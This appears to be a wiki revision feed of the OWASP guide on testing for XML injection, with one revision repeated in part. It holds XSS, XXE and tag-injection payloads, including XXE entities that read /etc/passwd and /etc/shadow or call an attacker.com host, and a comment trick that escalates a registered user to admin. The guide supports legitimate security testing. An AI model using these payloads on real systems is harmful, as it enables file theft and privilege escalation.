== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD.&lt;br /&gt;
Let's suppose that XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36994</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36994"/>
				<updated>2008-08-23T06:33:27Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
